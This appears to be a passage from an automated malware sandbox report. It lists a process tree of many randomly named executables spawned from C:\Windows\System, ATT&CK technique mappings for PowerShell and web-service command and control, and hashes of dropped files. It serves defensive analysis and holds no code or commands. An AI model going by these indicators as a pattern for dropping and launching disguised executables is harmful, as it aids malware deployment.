  C:\Windows\System\pJeAzAg.exe
  2⤵
  PID:3132
- C:\Windows\System\SyrLhRU.exe
  C:\Windows\System\SyrLhRU.exe
  2⤵
  PID:4716
- C:\Windows\System\LnOpAGk.exe
  C:\Windows\System\LnOpAGk.exe
  2⤵
  PID:5796
- C:\Windows\System\PEYhwML.exe
  C:\Windows\System\PEYhwML.exe
  2⤵
  PID:13560
- C:\Windows\System\PwVIoAF.exe
  C:\Windows\System\PwVIoAF.exe
  2⤵
  PID:6340
- C:\Windows\System\PVAtghT.exe
  C:\Windows\System\PVAtghT.exe
  2⤵
  PID:4924
- C:\Windows\System\GoDrmcu.exe
  C:\Windows\System\GoDrmcu.exe
  2⤵
  PID:6884
- C:\Windows\System\PExHywN.exe
  C:\Windows\System\PExHywN.exe
  2⤵
  PID:7400
- C:\Windows\System\wqMBKBL.exe
  C:\Windows\System\wqMBKBL.exe
  2⤵
  PID:13748
- C:\Windows\System\wFxAllU.exe
  C:\Windows\System\wFxAllU.exe
  2⤵
  PID:6296
- C:\Windows\System\wAAbDYT.exe
  C:\Windows\System\wAAbDYT.exe
  2⤵
  PID:12704
- C:\Windows\System\jmjsvtV.exe
  C:\Windows\System\jmjsvtV.exe
  2⤵
  PID:4760
- C:\Windows\System\fATEDOw.exe
  C:\Windows\System\fATEDOw.exe
  2⤵
  PID:2532
- C:\Windows\System\JCkbqPq.exe
  C:\Windows\System\JCkbqPq.exe
  2⤵
  PID:1640
- C:\Windows\System\FXJaSWp.exe
  C:\Windows\System\FXJaSWp.exe
  2⤵
  PID:7136
- C:\Windows\System\hVPWkLA.exe
  C:\Windows\System\hVPWkLA.exe
  2⤵
  PID:5436
- C:\Windows\System\AivIrNX.exe
  C:\Windows\System\AivIrNX.exe
  2⤵
  PID:2336
- C:\Windows\System\ZYBnZfW.exe
  C:\Windows\System\ZYBnZfW.exe
  2⤵
  PID:6592
- C:\Windows\System\JKxaHoq.exe
  C:\Windows\System\JKxaHoq.exe
  2⤵
  PID:8392
- C:\Windows\System\bsjMSfV.exe
  C:\Windows\System\bsjMSfV.exe
  2⤵
  PID:7436
- C:\Windows\System\AKKnjUG.exe
  C:\Windows\System\AKKnjUG.exe
  2⤵
  PID:8256
- C:\Windows\System\HwSXFQT.exe
  C:\Windows\System\HwSXFQT.exe
  2⤵
  PID:4516
- C:\Windows\System\QKkIVmK.exe
  C:\Windows\System\QKkIVmK.exe
  2⤵
  PID:7736
- C:\Windows\System\TLryCyw.exe
  C:\Windows\System\TLryCyw.exe
  2⤵
  PID:5880
- C:\Windows\System\cDeRQTn.exe
  C:\Windows\System\cDeRQTn.exe
  2⤵
  PID:6848
- C:\Windows\System\zWzWqdf.exe
  C:\Windows\System\zWzWqdf.exe
  2⤵
  PID:8488
- C:\Windows\System\xDcTdjg.exe
  C:\Windows\System\xDcTdjg.exe
  2⤵
  PID:7748
- C:\Windows\System\KLHKGaq.exe
  C:\Windows\System\KLHKGaq.exe
  2⤵
  PID:7156
- C:\Windows\System\EwypldQ.exe
  C:\Windows\System\EwypldQ.exe
  2⤵
  PID:5608
- C:\Windows\System\NPNWHBE.exe
  C:\Windows\System\NPNWHBE.exe
  2⤵
  PID:7524
- C:\Windows\System\cRkzoeF.exe
  C:\Windows\System\cRkzoeF.exe
  2⤵
  PID:3940
- C:\Windows\System\YsEFFCf.exe
  C:\Windows\System\YsEFFCf.exe
  2⤵
  PID:2596
- C:\Windows\System\zEmMxvy.exe
  C:\Windows\System\zEmMxvy.exe
  2⤵
  PID:6532
- C:\Windows\System\eOdlwDg.exe
  C:\Windows\System\eOdlwDg.exe
  2⤵
  PID:6468
- C:\Windows\System\tRxwDdM.exe
  C:\Windows\System\tRxwDdM.exe
  2⤵
  PID:8728
- C:\Windows\System\ZqamTri.exe
  C:\Windows\System\ZqamTri.exe
  2⤵
  PID:7032
- C:\Windows\System\mOegugE.exe
  C:\Windows\System\mOegugE.exe
  2⤵
  PID:2116
- C:\Windows\System\sTnnMmO.exe
  C:\Windows\System\sTnnMmO.exe
  2⤵
  PID:5416
- C:\Windows\System\nONBwsG.exe
  C:\Windows\System\nONBwsG.exe
  2⤵
  PID:1148
- C:\Windows\System\xPrGTkq.exe
  C:\Windows\System\xPrGTkq.exe
  2⤵
  PID:5832
- C:\Windows\System\xsOwaEb.exe
  C:\Windows\System\xsOwaEb.exe
  2⤵
  PID:7580
- C:\Windows\System\bevmKtv.exe
  C:\Windows\System\bevmKtv.exe
  2⤵
  PID:7932
- C:\Windows\System\MtTgxxl.exe
  C:\Windows\System\MtTgxxl.exe
  2⤵
  PID:9104
- C:\Windows\System\ycCbdHF.exe
  C:\Windows\System\ycCbdHF.exe
  2⤵
  PID:6760
- C:\Windows\System\tgzboNd.exe
  C:\Windows\System\tgzboNd.exe
  2⤵
  PID:5248
- C:\Windows\System\RriGJrZ.exe
  C:\Windows\System\RriGJrZ.exe
  2⤵
  PID:6448
- C:\Windows\System\zeCJOAk.exe
  C:\Windows\System\zeCJOAk.exe
  2⤵
  PID:7404
- C:\Windows\System\EJOYbuD.exe
  C:\Windows\System\EJOYbuD.exe
  2⤵
  PID:5916
- C:\Windows\System\aSeMhRm.exe
  C:\Windows\System\aSeMhRm.exe
  2⤵
  PID:12952
- C:\Windows\System\VclWNuR.exe
  C:\Windows\System\VclWNuR.exe
  2⤵
  PID:6128
- C:\Windows\System\kefPgqq.exe
  C:\Windows\System\kefPgqq.exe
  2⤵
  PID:14060
- C:\Windows\System\uOxPqTb.exe
  C:\Windows\System\uOxPqTb.exe
  2⤵
  PID:8208
- C:\Windows\System\piQpJTY.exe
  C:\Windows\System\piQpJTY.exe
  2⤵
  PID:7256
- C:\Windows\System\UVAXCYA.exe
  C:\Windows\System\UVAXCYA.exe
  2⤵
  PID:3304
- C:\Windows\System\hWNyjER.exe
  C:\Windows\System\hWNyjER.exe
  2⤵
  PID:5716
- C:\Windows\System\KugjVzC.exe
  C:\Windows\System\KugjVzC.exe
  2⤵
  PID:10176
- C:\Windows\System\JboPnNG.exe
  C:\Windows\System\JboPnNG.exe
  2⤵
  PID:8968
- C:\Windows\System\aHimMhd.exe
  C:\Windows\System\aHimMhd.exe
  2⤵
  PID:14352
- C:\Windows\System\kEmiNKP.exe
  C:\Windows\System\kEmiNKP.exe
  2⤵
  PID:14632
- C:\Windows\System\uXejbCl.exe
  C:\Windows\System\uXejbCl.exe
  2⤵
  PID:14664
- C:\Windows\System\YUOdGnn.exe
  C:\Windows\System\YUOdGnn.exe
  2⤵
  PID:14700
- C:\Windows\System\TjLEnmu.exe
  C:\Windows\System\TjLEnmu.exe
  2⤵
  PID:14720
- C:\Windows\System\bXoPPlV.exe
  C:\Windows\System\bXoPPlV.exe
  2⤵
  PID:14744
- C:\Windows\System\lEvuWJf.exe
  C:\Windows\System\lEvuWJf.exe
  2⤵
  PID:14764
- C:\Windows\System\zncUNMy.exe
  C:\Windows\System\zncUNMy.exe
  2⤵
  PID:14788
- C:\Windows\System\vvZgTqN.exe
  C:\Windows\System\vvZgTqN.exe
  2⤵
  PID:14812
- C:\Windows\System\rdnxFvB.exe
  C:\Windows\System\rdnxFvB.exe
  2⤵
  PID:14844
- C:\Windows\System\nKfmHLy.exe
  C:\Windows\System\nKfmHLy.exe
  2⤵
  PID:14868
- C:\Windows\System\xWUgkGv.exe
  C:\Windows\System\xWUgkGv.exe
  2⤵
  PID:14900
- C:\Windows\System\SRlHgln.exe
  C:\Windows\System\SRlHgln.exe
  2⤵
  PID:14916
- C:\Windows\System\uzUTqSz.exe
  C:\Windows\System\uzUTqSz.exe
  2⤵
  PID:14932
- C:\Windows\System\UWdyUIo.exe
  C:\Windows\System\UWdyUIo.exe
  2⤵
  PID:14948
- C:\Windows\System\JMzjlla.exe
  C:\Windows\System\JMzjlla.exe
  2⤵
  PID:14972
- C:\Windows\System\CFZzDWU.exe
  C:\Windows\System\CFZzDWU.exe
  2⤵
  PID:14992
- C:\Windows\System\KHkOlDC.exe
  C:\Windows\System\KHkOlDC.exe
  2⤵
  PID:15012
- C:\Windows\System\pGVlNkS.exe
  C:\Windows\System\pGVlNkS.exe
  2⤵
  PID:15028
- C:\Windows\System\AMmwGZz.exe
  C:\Windows\System\AMmwGZz.exe
  2⤵
  PID:15052
- C:\Windows\System\lodKMNJ.exe
  C:\Windows\System\lodKMNJ.exe
  2⤵
  PID:15072
- C:\Windows\System\SSWGsQx.exe
  C:\Windows\System\SSWGsQx.exe
  2⤵
  PID:15240
- C:\Windows\System\jpkbroC.exe
  C:\Windows\System\jpkbroC.exe
  2⤵
  PID:15272
- C:\Windows\System\DKwxEMp.exe
  C:\Windows\System\DKwxEMp.exe
  2⤵
  PID:15300
- C:\Windows\System\GlgGNUh.exe
  C:\Windows\System\GlgGNUh.exe
  2⤵
  PID:15324
- C:\Windows\System\coDhasW.exe
  C:\Windows\System\coDhasW.exe
  2⤵
  PID:15344
- C:\Windows\System\FEYAduM.exe
  C:\Windows\System\FEYAduM.exe
  2⤵
  PID:10028
- C:\Windows\System\CQNYqGA.exe
  C:\Windows\System\CQNYqGA.exe
  2⤵
  PID:7424
- C:\Windows\System\wcVYNHn.exe
  C:\Windows\System\wcVYNHn.exe
  2⤵
  PID:8532
- C:\Windows\System\UHAmhQq.exe
  C:\Windows\System\UHAmhQq.exe
  2⤵
  PID:448
- C:\Windows\System\aASElUS.exe
  C:\Windows\System\aASElUS.exe
  2⤵
  PID:4964
- C:\Windows\System\pNSySQi.exe
  C:\Windows\System\pNSySQi.exe
  2⤵
  PID:10132
- C:\Windows\System\cAvdiXq.exe
  C:\Windows\System\cAvdiXq.exe
  2⤵
  PID:9192
- C:\Windows\System\CThwhjq.exe
  C:\Windows\System\CThwhjq.exe
  2⤵
  PID:6928
- C:\Windows\System\kEhCLUx.exe
  C:\Windows\System\kEhCLUx.exe
  2⤵
  PID:14396
- C:\Windows\System\AAuqmHi.exe
  C:\Windows\System\AAuqmHi.exe
  2⤵
  PID:11132
- C:\Windows\System\bRUaLpT.exe
  C:\Windows\System\bRUaLpT.exe
  2⤵
  PID:8716
- C:\Windows\System\mnUoTDg.exe
  C:\Windows\System\mnUoTDg.exe
  2⤵
  PID:8304
- C:\Windows\System\lZnifak.exe
  C:\Windows\System\lZnifak.exe
  2⤵
  PID:6524
- C:\Windows\System\BuczySU.exe
  C:\Windows\System\BuczySU.exe
  2⤵
  PID:7476
- C:\Windows\System\hRDktmn.exe
  C:\Windows\System\hRDktmn.exe
  2⤵
  PID:6632
- C:\Windows\System\zgEwmDP.exe
  C:\Windows\System\zgEwmDP.exe
  2⤵
  PID:8376
- C:\Windows\System\zNgCRns.exe
  C:\Windows\System\zNgCRns.exe
  2⤵
  PID:9592
- C:\Windows\System\EpQquzP.exe
  C:\Windows\System\EpQquzP.exe
  2⤵
  PID:9772
- C:\Windows\System\XKNunHO.exe
  C:\Windows\System\XKNunHO.exe
  2⤵
  PID:9904
- C:\Windows\System\yPjtOKc.exe
  C:\Windows\System\yPjtOKc.exe
  2⤵
  PID:10160
- C:\Windows\System\cQCupBz.exe
  C:\Windows\System\cQCupBz.exe
  2⤵
  PID:14600
- C:\Windows\System\ShOBsnw.exe
  C:\Windows\System\ShOBsnw.exe
  2⤵
  PID:14368
- C:\Windows\System\JoMCbUr.exe
  C:\Windows\System\JoMCbUr.exe
  2⤵
  PID:14640
- C:\Windows\System\bVvBBuq.exe
  C:\Windows\System\bVvBBuq.exe
  2⤵
  PID:14680
- C:\Windows\System\qQdFVEi.exe
  C:\Windows\System\qQdFVEi.exe
  2⤵
  PID:14696
- C:\Windows\System\pruxexR.exe
  C:\Windows\System\pruxexR.exe
  2⤵
  PID:14708
- C:\Windows\System\UNfpsLM.exe
  C:\Windows\System\UNfpsLM.exe
  2⤵
  PID:9312
- C:\Windows\System\WxEMXSt.exe
  C:\Windows\System\WxEMXSt.exe
  2⤵
  PID:14408
- C:\Windows\System\AfrYdnk.exe
  C:\Windows\System\AfrYdnk.exe
  2⤵
  PID:14824
- C:\Windows\System\bJmcUfY.exe
  C:\Windows\System\bJmcUfY.exe
  2⤵
  PID:8160
- C:\Windows\System\VnnsOLe.exe
  C:\Windows\System\VnnsOLe.exe
  2⤵
  PID:14960
- C:\Windows\System\XYTYflU.exe
  C:\Windows\System\XYTYflU.exe
  2⤵
  PID:8292
- C:\Windows\System\tgBiwSh.exe
  C:\Windows\System\tgBiwSh.exe
  2⤵
  PID:14616
- C:\Windows\System\PyuOUJH.exe
  C:\Windows\System\PyuOUJH.exe
  2⤵
  PID:7964
- C:\Windows\System\WEpPJIL.exe
  C:\Windows\System\WEpPJIL.exe
  2⤵
  PID:15004
- C:\Windows\System\clyIhiz.exe
  C:\Windows\System\clyIhiz.exe
  2⤵
  PID:7420
- C:\Windows\System\JPNyOzl.exe
  C:\Windows\System\JPNyOzl.exe
  2⤵
  PID:5696
- C:\Windows\System\gZknFuC.exe
  C:\Windows\System\gZknFuC.exe
  2⤵
  PID:15084
- C:\Windows\System\LnkBZoC.exe
  C:\Windows\System\LnkBZoC.exe
  2⤵
  PID:15196
- C:\Windows\System\lalnoyZ.exe
  C:\Windows\System\lalnoyZ.exe
  2⤵
  PID:14216
- C:\Windows\System\iqtsBzu.exe
  C:\Windows\System\iqtsBzu.exe
  2⤵
  PID:15172
- C:\Windows\System\BtONJHV.exe
  C:\Windows\System\BtONJHV.exe
  2⤵
  PID:6160
- C:\Windows\System\YuNMSWX.exe
  C:\Windows\System\YuNMSWX.exe
  2⤵
  PID:10616
- C:\Windows\System\GGJCCZY.exe
  C:\Windows\System\GGJCCZY.exe
  2⤵
  PID:10344
- C:\Windows\System\HQtBoNY.exe
  C:\Windows\System\HQtBoNY.exe
  2⤵
  PID:6036
- C:\Windows\System\ZBzIrOy.exe
  C:\Windows\System\ZBzIrOy.exe
  2⤵
  PID:9092
- C:\Windows\System\QGLzPcE.exe
  C:\Windows\System\QGLzPcE.exe
  2⤵
  PID:1056
- C:\Windows\System\HtRKrfL.exe
  C:\Windows\System\HtRKrfL.exe
  2⤵
  PID:8692
- C:\Windows\System\DeqiwQV.exe
  C:\Windows\System\DeqiwQV.exe
  2⤵
  PID:10100
- C:\Windows\System\HiKJeYI.exe
  C:\Windows\System\HiKJeYI.exe
  2⤵
  PID:7340
- C:\Windows\System\TQKCpYA.exe
  C:\Windows\System\TQKCpYA.exe
  2⤵
  PID:12892
- C:\Windows\System\gACNxSC.exe
  C:\Windows\System\gACNxSC.exe
  2⤵
  PID:8272
- C:\Windows\System\MRnzNXS.exe
  C:\Windows\System\MRnzNXS.exe
  2⤵
  PID:6568
- C:\Windows\System\UnxvOGf.exe
  C:\Windows\System\UnxvOGf.exe
  2⤵
  PID:14412
- C:\Windows\System\OQOkEZF.exe
  C:\Windows\System\OQOkEZF.exe
  2⤵
  PID:14384
- C:\Windows\System\YvIPTur.exe
  C:\Windows\System\YvIPTur.exe
  2⤵
  PID:13760
- C:\Windows\System\DIVBtOu.exe
  C:\Windows\System\DIVBtOu.exe
  2⤵
  PID:6200
- C:\Windows\System\PsypuqZ.exe
  C:\Windows\System\PsypuqZ.exe
  2⤵
  PID:2196
- C:\Windows\System\NxaAtiQ.exe
  C:\Windows\System\NxaAtiQ.exe
  2⤵
  PID:6064
- C:\Windows\System\XRloMdc.exe
  C:\Windows\System\XRloMdc.exe
  2⤵
  PID:12276
- C:\Windows\System\khFqEpc.exe
  C:\Windows\System\khFqEpc.exe
  2⤵
  PID:13036
- C:\Windows\System\VKlBOLt.exe
  C:\Windows\System\VKlBOLt.exe
  2⤵
  PID:14568
- C:\Windows\System\xgggWlq.exe
  C:\Windows\System\xgggWlq.exe
  2⤵
  PID:13040
- C:\Windows\System\yCPuAwJ.exe
  C:\Windows\System\yCPuAwJ.exe
  2⤵
  PID:12684
- C:\Windows\System\AiKdEbD.exe
  C:\Windows\System\AiKdEbD.exe
  2⤵
  PID:15024
- C:\Windows\System\kdjQfgo.exe
  C:\Windows\System\kdjQfgo.exe
  2⤵
  PID:12000
- C:\Windows\System\HlYkOml.exe
  C:\Windows\System\HlYkOml.exe
  2⤵
  PID:11788
- C:\Windows\System\FhbrrOi.exe
  C:\Windows\System\FhbrrOi.exe
  2⤵
  PID:14796
- C:\Windows\System\vosvhDe.exe
  C:\Windows\System\vosvhDe.exe
  2⤵
  PID:4416
- C:\Windows\System\wNWVhmw.exe
  C:\Windows\System\wNWVhmw.exe
  2⤵
  PID:4368
- C:\Windows\System\ghlyovK.exe
  C:\Windows\System\ghlyovK.exe
  2⤵
  PID:14420
- C:\Windows\System\PVXOVuM.exe
  C:\Windows\System\PVXOVuM.exe
  2⤵
  PID:11892
- C:\Windows\System\gywiWXb.exe
  C:\Windows\System\gywiWXb.exe
  2⤵
  PID:15268
- C:\Windows\System\MFkDBwX.exe
  C:\Windows\System\MFkDBwX.exe
  2⤵
  PID:11380
- C:\Windows\System\bZeeKHr.exe
  C:\Windows\System\bZeeKHr.exe
  2⤵
  PID:13108
- C:\Windows\System\BfalfrN.exe
  C:\Windows\System\BfalfrN.exe
  2⤵
  PID:11488
- C:\Windows\System\MLmpfxt.exe
  C:\Windows\System\MLmpfxt.exe
  2⤵
  PID:7884
- C:\Windows\System\ysUkhOg.exe
  C:\Windows\System\ysUkhOg.exe
  2⤵
  PID:3416
- C:\Windows\System\edaICnT.exe
  C:\Windows\System\edaICnT.exe
  2⤵
  PID:13276
- C:\Windows\System\TCrnyki.exe
  C:\Windows\System\TCrnyki.exe
  2⤵
  PID:10104
- C:\Windows\System\dgSgAAI.exe
  C:\Windows\System\dgSgAAI.exe
  2⤵
  PID:8168
- C:\Windows\System\VJtXuHb.exe
  C:\Windows\System\VJtXuHb.exe
  2⤵
  PID:11188
- C:\Windows\System\PeJkbwf.exe
  C:\Windows\System\PeJkbwf.exe
  2⤵
  PID:12240
- C:\Windows\System\lhJbMOw.exe
  C:\Windows\System\lhJbMOw.exe
  2⤵
  PID:6024
- C:\Windows\System\sOYpnDs.exe
  C:\Windows\System\sOYpnDs.exe
  2⤵
  PID:8324
- C:\Windows\System\NKDcqkG.exe
  C:\Windows\System\NKDcqkG.exe
  2⤵
  PID:7288
- C:\Windows\System\UoyMfrt.exe
  C:\Windows\System\UoyMfrt.exe
  2⤵
  PID:11068
- C:\Windows\System\DcoPMJu.exe
  C:\Windows\System\DcoPMJu.exe
  2⤵
  PID:12024
- C:\Windows\System\MEJVBre.exe
  C:\Windows\System\MEJVBre.exe
  2⤵
  PID:12104
- C:\Windows\System\bCcvEns.exe
  C:\Windows\System\bCcvEns.exe
  2⤵
  PID:14860
- C:\Windows\System\KGutPqA.exe
  C:\Windows\System\KGutPqA.exe
  2⤵
  PID:13252
- C:\Windows\System\yvcCuUb.exe
  C:\Windows\System\yvcCuUb.exe
  2⤵
  PID:7632
- C:\Windows\System\fETOXMD.exe
  C:\Windows\System\fETOXMD.exe
  2⤵
  PID:13292
- C:\Windows\System\EviubLl.exe
  C:\Windows\System\EviubLl.exe
  2⤵
  PID:15252
- C:\Windows\System\OWazJtX.exe
  C:\Windows\System\OWazJtX.exe
  2⤵
  PID:9568
- C:\Windows\System\jIeVrLi.exe
  C:\Windows\System\jIeVrLi.exe
  2⤵
  PID:9996
- C:\Windows\System\flplKYd.exe
  C:\Windows\System\flplKYd.exe
  2⤵
  PID:8036
- C:\Windows\System\SHOKOUa.exe
  C:\Windows\System\SHOKOUa.exe
  2⤵
  PID:10784
- C:\Windows\System\kEpkauV.exe
  C:\Windows\System\kEpkauV.exe
  2⤵
  PID:12188
- C:\Windows\System\PaqKLza.exe
  C:\Windows\System\PaqKLza.exe
  2⤵
  PID:1424
- C:\Windows\System\QkJSTMe.exe
  C:\Windows\System\QkJSTMe.exe
  2⤵
  PID:10872
- C:\Windows\System\cyWFWWF.exe
  C:\Windows\System\cyWFWWF.exe
  2⤵
  PID:9120
- C:\Windows\System\nWvXDTb.exe
  C:\Windows\System\nWvXDTb.exe
  2⤵
  PID:12072
- C:\Windows\System\EJdlxtP.exe
  C:\Windows\System\EJdlxtP.exe
  2⤵
  PID:10468
- C:\Windows\System\MpdrMIO.exe
  C:\Windows\System\MpdrMIO.exe
  2⤵
  PID:12948
- C:\Windows\System\bPstgCg.exe
  C:\Windows\System\bPstgCg.exe
  2⤵
  PID:13156
- C:\Windows\System\lEXACDj.exe
  C:\Windows\System\lEXACDj.exe
  2⤵
  PID:12244
- C:\Windows\System\ldrzkJG.exe
  C:\Windows\System\ldrzkJG.exe
  2⤵
  PID:11600
- C:\Windows\System\fDohckz.exe
  C:\Windows\System\fDohckz.exe
  2⤵
  PID:7040
- C:\Windows\System\xZkAEls.exe
  C:\Windows\System\xZkAEls.exe
  2⤵
  PID:10492
- C:\Windows\System\SNEBjQh.exe
  C:\Windows\System\SNEBjQh.exe
  2⤵
  PID:8124
- C:\Windows\System\fSIWWtV.exe
  C:\Windows\System\fSIWWtV.exe
  2⤵
  PID:14464
- C:\Windows\System\VjqwseW.exe
  C:\Windows\System\VjqwseW.exe
  2⤵
  PID:12760
- C:\Windows\System\TDQjoyR.exe
  C:\Windows\System\TDQjoyR.exe
  2⤵
  PID:6768
- C:\Windows\System\MEqgkxL.exe
  C:\Windows\System\MEqgkxL.exe
  2⤵
  PID:6540
- C:\Windows\System\phKxGvJ.exe
  C:\Windows\System\phKxGvJ.exe
  2⤵
  PID:14540
- C:\Windows\System\XDdWhCr.exe
  C:\Windows\System\XDdWhCr.exe
  2⤵
  PID:13092
- C:\Windows\System\ByvCGjf.exe
  C:\Windows\System\ByvCGjf.exe
  2⤵
  PID:14340
- C:\Windows\System\RAYJECx.exe
  C:\Windows\System\RAYJECx.exe
  2⤵
  PID:10916
- C:\Windows\System\LgjrsvR.exe
  C:\Windows\System\LgjrsvR.exe
  2⤵
  PID:11108
- C:\Windows\System\OKYxykn.exe
  C:\Windows\System\OKYxykn.exe
  2⤵
  PID:10808
- C:\Windows\System\rJoOFWD.exe
  C:\Windows\System\rJoOFWD.exe
  2⤵
  PID:8724
- C:\Windows\System\YnUFVhY.exe
  C:\Windows\System\YnUFVhY.exe
  2⤵
  PID:9464
- C:\Windows\System\klOllDE.exe
  C:\Windows\System\klOllDE.exe
  2⤵
  PID:9500
- C:\Windows\System\QCparWo.exe
  C:\Windows\System\QCparWo.exe
  2⤵
  PID:11352
- C:\Windows\System\GvRAKFA.exe
  C:\Windows\System\GvRAKFA.exe
  2⤵
  PID:10356
- C:\Windows\System\flGJoeD.exe
  C:\Windows\System\flGJoeD.exe
  2⤵
  PID:13168
- C:\Windows\System\aAxJbMH.exe
  C:\Windows\System\aAxJbMH.exe
  2⤵
  PID:13216
- C:\Windows\System\ebgYaVm.exe
  C:\Windows\System\ebgYaVm.exe
  2⤵
  PID:396
- C:\Windows\System\bUqXzKP.exe
  C:\Windows\System\bUqXzKP.exe
  2⤵
  PID:8468
- C:\Windows\System\aUjwBoh.exe
  C:\Windows\System\aUjwBoh.exe
  2⤵
  PID:11740
- C:\Windows\System\TVwaveP.exe
  C:\Windows\System\TVwaveP.exe
  2⤵
  PID:11748
- C:\Windows\System\kNVxXvw.exe
  C:\Windows\System\kNVxXvw.exe
  2⤵
  PID:10228
- C:\Windows\System\SloixsW.exe
  C:\Windows\System\SloixsW.exe
  2⤵
  PID:9460
- C:\Windows\System\uiKtsCX.exe
  C:\Windows\System\uiKtsCX.exe
  2⤵
  PID:8884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b0sipjap.iky.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AhfWuro.exe

Filesize
1.6MB

MD5
f59d3d435059b5428086d33c9e557d97

SHA1
e8d160b020edba300bbb4bcdd4e12d377423f7c2

SHA256
b6a0420b4fe425f32df708600a41b6cc698d228991714a53aad26089632e39dd

SHA512
0a2731c36527a0d2335d46a05dac144dd7fce6e4a20bdeaeb358550fef947b60ed1fc6a0720ba036e702708969c4b87f1a7bc7c266f5a5ea3ba234717da35016

Download Submit
C:\Windows\System\AtdpJog.exe

Filesize
1.6MB

MD5
f7249f26d62a799cb541f0f1a0261d79

SHA1
214c840434ffa3b64241235aec1c410d3bdb9d66

SHA256
af448c27dbfdfb8c49aca772f0be61db97d84377ca63e097378c15e765d4bfaf

SHA512
5dc7d6fc4f887058272fd93b6c0b35ff6ccb3b8d00991a2bd9c05a05c34b00d1082f48d5727eed231e6e020531672c5bdb21d5802433a2db554640711fc60b75

Download Submit
C:\Windows\System\BtBVhWU.exe

Filesize
1.6MB

MD5
ae4961367f534c8c2a86d7b757b4032d

SHA1
cc787e71ff28e892370882827406be0c76c48311

SHA256
aa3815678d5a2d76acf947e200601225fc6ce840571606fa7807d1930ca8e3c6

SHA512
4bb8f96466df2f0aeaec89c93133501815bdead202e4805db8be4c5da23f28cd22ea9d6aedeb9f66eff9b93b28807ea5e76110fe8a698346d17d85738e7d15b4

Download Submit
C:\Windows\System\BvYCQWJ.exe

Filesize
1.6MB

MD5
9a9bcaecc7026c74e62932a900de5a2e

SHA1
edd4de75624007e045258c302e8e0ec200202bca

SHA256
6ec77bc28a5b06f68338daa3eaac0893819565c7e4ac2276145fe8474f3548f1

SHA512
8dffce944c5fa997c43898ec2bd1aa980b9528640a4d355933a6ad69a6f2dbe56a7b5a25baf2a7f478ab2082482e2efa11e84061b6b33700579995ebf39d47bb

Download Submit
C:\Windows\System\FAabJVr.exe

Filesize
1.6MB

MD5
789100dbb22a4187d62d05ccfd37da4e

SHA1
7cf2539f95e275b0e85a522fe9c42c806d192bec

SHA256
8377b6b0e16a415c34ef97e2c54e4a21ba30a6f0f83f7276617b96f4a8698f35

SHA512
b9b367e96c506fbf3bbf490acada2e25ae52c9580c586385e0d5d9070dc589e0278fdb64aef4a66b322e28fcca54a8f454c101e9f276d7f2a238fd9225b8787c

Download Submit
C:\Windows\System\FzEyVdB.exe

Filesize
1.6MB

MD5
4d3db3e887463d0750ed64a0a35f85a3

SHA1
9772d0a6fea765bbd75a70a251941c800f4a0c19

SHA256
d004124102792a08f2c28cf89d8b4572e9f6b3be19e44c824627d50a12b937c9

SHA512
0518c0e27bafa9d4913379086ef729d5b5d342d87c3374e0c10bb6eb8028ce123775bc59ef71b13dc6b244baf0ee437a18d07699d28473f29073969527cff850

Download Submit
C:\Windows\System\GPumEAN.exe

Filesize
1.6MB

MD5
fc58f2bdd8b69c96725414da6a0b4be9

SHA1
aefa0b42cdd04b20d87179842740d53b7177cbda

SHA256
cc8d6aa7dcce66c9ffa7dcb37bf5de2ec982e7a1bbcce8a231a1c90aa5097341

SHA512
eca13fa6c409017163fda3cf7c29965638fdd512b160fcacb30532bc9aeaac5cb6a1ae43b489d15ebb7b32a7663d22a48a172974c697a2f77a95d448325aa9e8

Download Submit
C:\Windows\System\HKVkNQR.exe

Filesize
1.6MB

MD5
a6bcb2e9df7d5003ad0efbf090dde0ff

SHA1
cc8c6b1e317ad8a296d31f75dada0a76e22f3148

SHA256
e33023df5a8cfe7606f5156914eb4ea6a018ea1e57b24bdaa523fb3830226259

SHA512
b7abeb68aab31a68600c6d95749ccd639c8ab1edb43be8c789fab4d268330d20567274bc0d4ee7f68166c6bf10de354acd504f20d8797c6f03b3f1cc35d42486

Download Submit
C:\Windows\System\HOyizoN.exe

Filesize
1.6MB

MD5
18a71193facd2ca777085f673d901fd0

SHA1
0cdea11ef258921daec76ed935e5eb2ca1c9c655

SHA256
e5b53f1dd07337a8466638c8dc0119a8924ff57c8ee26892b3839e05760df4a4

SHA512
c7f577dffa89b907b0612e5f26e09fd0bfca600cdc1b009072b51981e4d17c83efb9cc6394f9409ae961912abf09ba6765d9cfe11ab685ba67763c0b706ce658

Download Submit
C:\Windows\System\HVmpgSh.exe

Filesize
1.6MB

MD5
d2b29b438bda3025784d44bfae2f8dbf

SHA1
ad36a8698e8cb17211475a017eef81a0b02acfc5

SHA256
121590c7dc273b42d0499448137a6ec94cf55856f214721898161f9773c51356

SHA512
801d01e6ed8e675fd80a2a8ed4a5640fce46a85affc6be3b12d2c7c9df1d3392c176bce961cad8636056621b390bfc70c8c0c06b5bc14d4c8c010c7ec92173da

Download Submit
C:\Windows\System\IEhGbfQ.exe

Filesize
1.6MB

MD5
9ce45fcb778879c2728fe24b9f2cd15c

SHA1
4297d03a24a3bbedf5b69eda1f787e2845a24d8a

SHA256
8c80f175fc0fc75300bccc6898eed6135d1917a54b1097c8d434a571a1adb88a

SHA512
087de57e2a24a4113b89646bf648e2408617027cc10d2036aee3a85564d2c411297e3d202d5a44f2c38555a5dbb609026f60be6bc6525e70f2bfcd64097e71bf

Download Submit
C:\Windows\System\JaTOiUt.exe

Filesize
1.6MB

MD5
a8b4c511fde756450cc1d452ca0e9432

SHA1
94892812da59ef180138aedb2c23086185e2d878

SHA256
b93440be3906dc433a5310a5d00562267e0798f6cb8e2959b08764281fa9d366

SHA512
fee8262a3d2076cc8ba6470df8e67233476ae99a4cc0bb384c8e84930d3affd42679a6353b33178fb47f9b3bb609c1e282ffc0eeb5fb0d5ddb75b259a0968f6a

Download Submit
